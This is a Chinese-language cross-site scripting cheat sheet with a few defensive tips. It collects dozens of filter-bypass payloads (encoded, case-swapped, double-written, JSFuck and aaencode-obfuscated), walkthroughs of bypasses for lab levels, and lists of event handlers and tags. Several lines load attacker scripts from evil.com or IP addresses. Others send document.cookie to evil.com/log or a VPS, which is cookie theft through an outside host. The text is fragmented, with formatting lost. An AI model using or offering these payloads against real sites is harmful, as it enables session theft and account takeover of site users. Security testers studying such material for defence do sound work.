?keyword=xxx)document.refererwindow.namelocation 系列(location.href、location.hash等)innerHTMLdocument.writehash或referer等处获取数据并写入页面。'"><123 等特殊字符测试是否被过滤或转义。数据包检查:
Content-Type: text/html时更可能触发XSS。html'"><123
<h5>1</h5>
<img/src=1>
<span>1</span>
<script>console.log(1);</script>
作为标签直接插入:
html<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">click</a>
<input onfocus=alert(1) autofocus>
<iframe src="javascript:alert(1)"></iframe>
<body onload=alert(1)>
闭合标签(根据输出位置):
<script>alert(1)</script>" onclick="alert(1) 闭合双引号' onclick='alert(1) 闭合单引号"><script>alert(1)</script> 闭合当前标签"><a href='javascript:alert(1)'> 等形式。常见闭合与注释:
"><span>x</span>///**/核心理念: 同义替换、垃圾填充、编码混淆。
过滤或转义 "、'、<、>
" < ><img src=x onerror=alert(1)>location 等属性拼接字符串。过滤空格
/ 代替:<img/src=x/onerror=alert(1)>%0a、%0d、%09/**/过滤 <>
<>:" onfocus=alert(1) autofocus\u003c 对应 <,\u003e 对应 >< >过滤标签或事件
<svg>、<a>、<img>、<input>、<details>、<iframe>等。onfocus、onmouseover、ontoggle、onpointerenter等。javascript:伪协议,配合href、src、formaction、data:等。过滤关键字(script, alert, onerror等)
<sCriPt><scrscriptipt>(针对关键字删除后剩下的部分重组)alert(1) (a的实体)t 即 t\u0061\u006c\u0065\u0072\u0074(1)%61%6c%65%72%74%28%31%29eval(atob(...))prompt、confirm、console.log、document.writea=alert;a(1)window['al'+'ert'](1)[1].find(alert)、top[/al/.source+/ert/.source](1)过滤括号 ()
throw + onerror:window.onerror=eval;throw'=alert\x281\x29'alert123``(反引号)onfocus=alert 配合自动聚焦可免括号?(视情况而定)过滤引号
onclick=alert`1`onclick=alert(1),或利用location等属性无需引号。String.fromCharCode 绕过字符串。addslashes):\ 转义单引号时,若输入 \' 变为 \\',可能使单引号逃逸。j = j。href、src等属性,如 %6a%61%76%61%73%63%72%69%70%74:。\u0061\u006c\u0065\u0072\u0074(1)。<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>text/html时,可直接注入<script>。html()等方法可能执行恶意HTML(需>1.2且<3.5.0)。<script src="http://evil.com/xss.js"></script>javascriptvar s=document.createElement('script');
s.src='//evil.com/xss.js';
document.body.appendChild(s);
精简版:<img src=x onerror=this.parentNode.appendChild(document.createElement('script')).src='//evil.com/js'>$.getScript("//evil.com/xss.js")xss.js 内容示例:
javascriptvar img = new Image();
img.src = 'http://evil.com/log?cookie=' + encodeURIComponent(document.cookie);
然后在受害者页面触发即可。
htmlspecialchars(),将 & " ' < > 转为实体。\xHH或Unicode编码。Referer(辅助手段)。Session替代本地存储敏感信息。script 替换为 sc_ript,大小写、同义替换、编码(html,unicode);script 替换为空时双写绕过。" " < < > >
/ /**/ */alert/* =><svg/onload=alert(1)> <script>/* */(document/* */.cookie)/* */</script> 换行绕过 %0d %0a %09
<><>,比如 <a href="">1</a>, <input type="text" value="">< → \u003c,> → \u003e< 还可以为 \x3c,> 为 \x3e<a, <img, <svg, <iframe, <input, <body, <META, <formjavascript 中的 t → t 或 J,或 unicode 编码,a 编码为 \u0061(使用帽子2版本转换最方便)on 可以用 href 配合 javascript 伪协议)垃圾填充示例:
javascript:// javascript://%0aalert(1) :-> html编码 : <a href="javascript:alert(1)//https://">test</a> <a href="javascript:alert(1)">
(alert)(1) a=alert,a(1) alert(String.fromCharCode(49)) [1].find(alert) window['al'+'ert'](/xss/) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) aler\u0074(String.fr\u006fmCharC\u006fde(49)) al\u0065rt(1) top['al\145rt'](1) top[8680439..toString(30)](1) eval(atob('YWxlcnQoMSk=')) "top['ale'+'rt'].call(null,'xss')" alert(2) top['al\x65rt'](1) [43804..toString(36)].some(confirm) window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")
alert%20(/xss/) #回车换行 alert%0a(/xss/) alert%0d(/xss/) #缩进 alert%09(/xss/) #注释 alert/*abcd*/(/xss/) #注释换行 alert//abcd%0a(/xss/) alert//abcd%0d(/xss/) #括号分割 (alert)(/xss/) ((alert))(/xss/)
window.alert(0) window['al'+'ert'](0) top['al'+'ert'](0) top.alert(0)
<script> <script/123sad> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus><a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<img src=x onerror=alert(1)>, <input onfocus=alert(1)>' 被禁用,双引号 " 可用时:反引号 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
/ 替换引号:alert(/xss/)' → \',\' → \\' 实现字符的逃逸confirm、prompt、console.log、document.write、alert()一般过滤的都是 alert(1) 这个整体,想办法分开但效果等效。
括号被过滤:
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'
\<\s\c\r\i\p\t\>\a\l\e\r\t\(\)\<\/\s\c\r\i\p\t\>
\ 转义 '" 的绕过方法单引号双引号 ' → \,\' → \\'
https://brutelogic.com.br/gym.php?p16=\"-alert(1)//
啥都没过滤:
<input name=keyword value="'"><123"> payload:" onclick="javascript:alert(1) payload:" onclick="alert(1) payload: a"onfocus=alert(1)// payload:"><img src=x onerror=alert(1)> payload:" <img src=x onerror=alert(1)>
过滤 "<> → 对这三个符号进行 html 编码过滤:
?keyword=' onclick='javascript:alert(1) payload:' onclick='javascript:alert(1)
过滤 <> → 替换为空:
<input name=keyword value="'"123"> paylaod:" onclick="javascript:alert(1)
"><' 都没过滤就是打不通,正常打 payload 后搜索看对什么进行了过滤:
<input name=keyword value="" o_nclick="javascript:alert(1)">
对 on 进行了过滤,既然 on 事件不能触发,考虑闭合标签应用 a 参数的 href 属性:
<input name=keyword value=""><a hr_ef='javascript:alert(1)'>">
对 href 也进行了替换,同义替换不好用了,考虑绕过,直接大小写:
"><a Href='javascript:alert(1)'>
先进行事件 fuzz,再进行函数 fuzz:
<input name=keyword value="'"><123"> 使用 " onclick="javascript:alert(1) 先替换事件 fuzz fuzz之后发现长度都一样,再进行函数的替换发现长度也一样 考虑替换另一种 payload: "><img src=x onerror=alert(1)> 最后发现共同点是都有 on,考虑过滤 on,所以直接换一种类型的 payload: "><a href='javascript:alert(1)'>
打入 payload " onclick="javascript:alert(1):
<input name=keyword value="" click="java:alert(1)"> " oonnclick="javascrscriptipt:alert(1)
把我们的关键字替换为空,考虑双写。
" 闭合但是双引号被过滤了:
<a href="'"<>123">
但在 href 里面,或许不需要 ",直接使用 javascript 伪协议:
javascript:alert(1) <center><BR><a href="javascr_ipt:alert(1)">
进行了过滤,尝试大小写过不了,进行编码尝试:
十进制实体编码:javascript:alert(1)
十六进制实体编码:javascript:alert(1) 本质也是 html 编码
编码后 html 页面不变,直接点击看效果。
<input name=keyword value="'"<>123">
<script>alert(1)</script> <script>prompt(1)</script> <svg onload=alert(1)> <img src=x onerror="alert(1)"> <img src=x onclick="prompt(1)"> <a href="javascript:alert(1)" >click me</a> <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe> <input onfocus="alert(1)">
"><svg/onload=alert(1)></svg> "><svg/onload=alert(1)// " onclick="confirm(1) "<input/onfocus=_=alert,_(123)>
"><script src=http://www.xxx.com/ec.js></script> <svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'// onfocus='a=document.createElement("script");a.src=http://x.x.x.x";body.appendChile(a);' onfocus='a=document.createElement("sc"+"ript");a.src=http://x.x.x.x";body.appendChile(a);' <link%20rel=import%20href="2.js">
<script>window.location.href="http://vps.ip/?cookie="+document.cookie;</script>
href, lowsrc, bgsound, background, action, dynsrc 这些属性支持伪协议。
#用法 <img src=x onerror="window['al'+'ert'](0)"></img> <img src=x onerror="window.alert(0)"></img> <img src=x onerror="top['al'+'ert'](0)"></img> <img src=x onerror="top.alert(0)"></img> - 动态调用(慎用,自动弹窗可用 onclick 代替) <input/onfocus=_=alert,_(123)> <input/onfocus=_=alert,xx=1,_(123)> <input/onfocus=_=alert;_(123)> <input/onfocus=_=alert;xx=1;_(123)> <input/onfocus=_=window['alert'],_(123)> <input/onfocus=_=window.alert,_(123)> <input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> - 异常处理 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> <img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';"> - eval 执行 js <svg/onload=eval('ale'+'rt(1)')> - 关键字拼接 <svg/onload=location='javas'+'cript:ale'+'rt(1)'> <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'> <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'> <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')> <svg/onload=location='javas'.concat('cript:ale','rt(1)')> - eval 结合编码 <script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> <script>window['eval']("\141\154\145\162\164\050\061\051")</script> <script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script> - 大小写绕过 <sCriPt>alert(1);</scRiPt> - 双写绕过 <sCrsCriPtiPt>alert(1);</scRsCriPtiPt>
<img src=x onerror=alert(1)> <img src="x" onerror="window['al'+'ert'](1)"> <svg onload=alert(1)> <form id='test'></form><button form='test' formaction='javascript:alert(1)'>X</button> <a href=javascript:[1].find(alert)>xss</a> <img src=x onerror = javascript:alert(111)> <iframe src=javascript:[1].find(alert)></iframe> <xmp onmousemove="alert(1)">test</xmp> <form id="test"></form><button form="test" formaction="javascript:prompt(xss)">X</button> <x onmouseover="top['ale'+'rt'].call(null,'xss')">test <img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29"> <input/onfocus=_=alert,_(123)> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus> <input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')> <details open ontoggle=[43804..toString(36)].some(confirm)> <object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> <table><caption onclick=aler\u0074(String.fr\u006fmCharC\u006fde(49))>Click me
1. <script/qw123>alert%0d``</script> 2. \"\u003cinput/onfocus=_=confirm,_(123)\u003e
<iframe src=javascript:alert(1)> 十进制html编码 <iframe src=javascript:alert(1)> 十六进制html编码 <iframe src=javascript:alert(1)> 不带分号形式 <iframe src=javascript:alert(1)> 填充0的形式 <iframe src=javascript:alert(1)> 部分关键字绕过 <iframe src=javas	cript:alert(1)></iframe> //Tab <iframe src=javas
cript:alert(1)></iframe> //回车 <iframe src=javas
cript:alert(1)></iframe> //换行 <iframe src=javascript:alert(1)></iframe> //编码冒号 <iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持 <a href=javas	cript:alert(1)>
<a href="{here}">xx</a> <iframe src="{here}"> 在src和href中可以进行URL编码,但是javascript:不能进行URL编码 <a href="javascript:%61%6c%65%72%74%28%31%29">xx</a> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> 二次URL编码 <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe> 结合16进制html编码 <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
普通编码 <input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus> 八进制及十六进制 <svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')> <svg/onload=setTimeout('\141\154\145\162\164\050\061\051')> <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')> <script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> <script>eval("\141\154\145\162\164\050\061\051")</script> <script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe> 利用atob函数 <a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> <a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a> <a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
Unicode编码 <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a> URL编码 <a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a> HTML编码 <a href=javascript:alert(1)>Click</a> 编码顺序:Unicode->URL->HTML # Unicode <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a> # Unicode+URL <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a> # Unicode+URL+HTML <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a> <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>
<script>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</script>
alert() prompt() confirm() a=alert;a() alert`` (alert)() alert%0d() alert%00() alert%0a= confirm(1) console.log(1) alert%0a(/xss/) alert%0d(/xss/) #空白字符形式 alert%20(/xss/) #回车换行 alert%0a(/xss/) alert%0d(/xss/) #缩进 alert%09(/xss/) #注释 alert/*abcd*/(/xss/) #注释换行 alert//abcd%0a(/xss/) alert//abcd%0d(/xss/) #括号分割 (alert)(/xss/) ((alert))(/xss/)
onafterprint onafterscriptexecute onanimationcancel onanimationend onanimationiteration onanimationstart onauxclick onbeforecopy onbeforecut onbeforeinput onbeforeprint onbeforescriptexecute onbeforetoggle onbeforeunload onbegin onblur oncancel oncanplay oncanplaythrough onchange onclick onclose oncontentvisibilityautostatechange oncontentvisibilityautostatechange(hidden) oncontextmenu oncopy oncuechange oncut ondblclick ondrag ondragend ondragenter ondragexit ondragleave ondragover ondragstart ondrop ondurationchange onend onended onerror onfocus onfocus(autofocus) onfocusin onfocusout onformdata onfullscreenchange onhashchange oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmessage onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onmousewheel onmozfullscreenchange onpagehide onpageshow onpaste onpause onplay onplaying onpointercancel onpointerdown onpointerenter onpointerleave onpointermove onpointerout onpointerover onpointerrawupdate onpointerup onpopstate onprogress onratechange onrepeat onreset onresize onscroll onscrollend onscrollsnapchange onsearch onseeked onseeking onselect onselectionchange onselectstart onshow onsubmit onsuspend ontimeupdate ontoggle ontoggle(popover) ontouchend ontouchmove ontouchstart ontransitioncancel ontransitionend ontransitionrun ontransitionstart onunhandledrejection onunload onvolumechange onwaiting onwaiting(loop) onwebkitanimationend onwebkitanimationiteration onwebkitanimationstart onwebkitfullscreenchange onwebkitmouseforcechanged onwebkitmouseforcedown onwebkitmouseforceup onwebkitmouseforcewillbegin onwebkitplaybacktargetavailabilitychanged onwebkitpresentationmodechanged onwebkittransitionend onwebkitwillrevealbottom onwheel
a a2 abbr acronym address animate animatemotion animatetransform applet area article aside audio audio2 b bdi bdo big blink blockquote body br button canvas caption center cite code col colgroup command content custom tags data datalist dd del details dfn dialog dir div dl dt element em embed fieldset figcaption figure font footer form frame frameset h1 head header hgroup hr html i iframe iframe2 image image2 image3 img img2 input input2 input3 input4 ins kbd keygen label legend li link listing main map mark marquee menu menuitem meta meter multicol nav nextid nobr noembed noframes noscript object ol optgroup option output p param picture plaintext pre progress q rb rp rt rtc ruby s samp script section select set shadow slot small source spacer span strike strong style sub summary sup svg table tbody td template textarea tfoot th thead time title tr track tt u ul var video video2 wbr xmp
常见标准 payload:
<script src="http://192.168.0.121/xss.js"></script> <script src="https://192.168.0.121/xss.js"></script> <!--自动选择协议--> <script src=//192.168.0.121/xss.js></script>
图片创建加载连接:
<img src=''onerror=document.body.appendChild(document.createElement('script')).src='//192.168.0.110/xss.js'>
字符拼接(受长度限制时):
<script>z='document.'</script> <script>z=z+'write("'</script> <script>z=z+'<script'</script> <script>z=z+' src=ht'</script> <script>z=z+'tp://www.'</script> <script>z=z+'xsstools'</script> <script>z=z+'.com/a'</script> <script>z=z+'mER></sc'</script> <script>z=z+'ript>")'</script> <script>eval(z)</script>
jQuery 加载:
<script>$.getScript("//www.xsstools.com/amER");</script>
<iframe src=javascript:[1].find(alert)></iframe> 在文本编辑器中直接插入。<> 过滤,title 字段未转义,最终 payload:\"\u003cinput/onfocus=_=confirm,_(123)\u003e。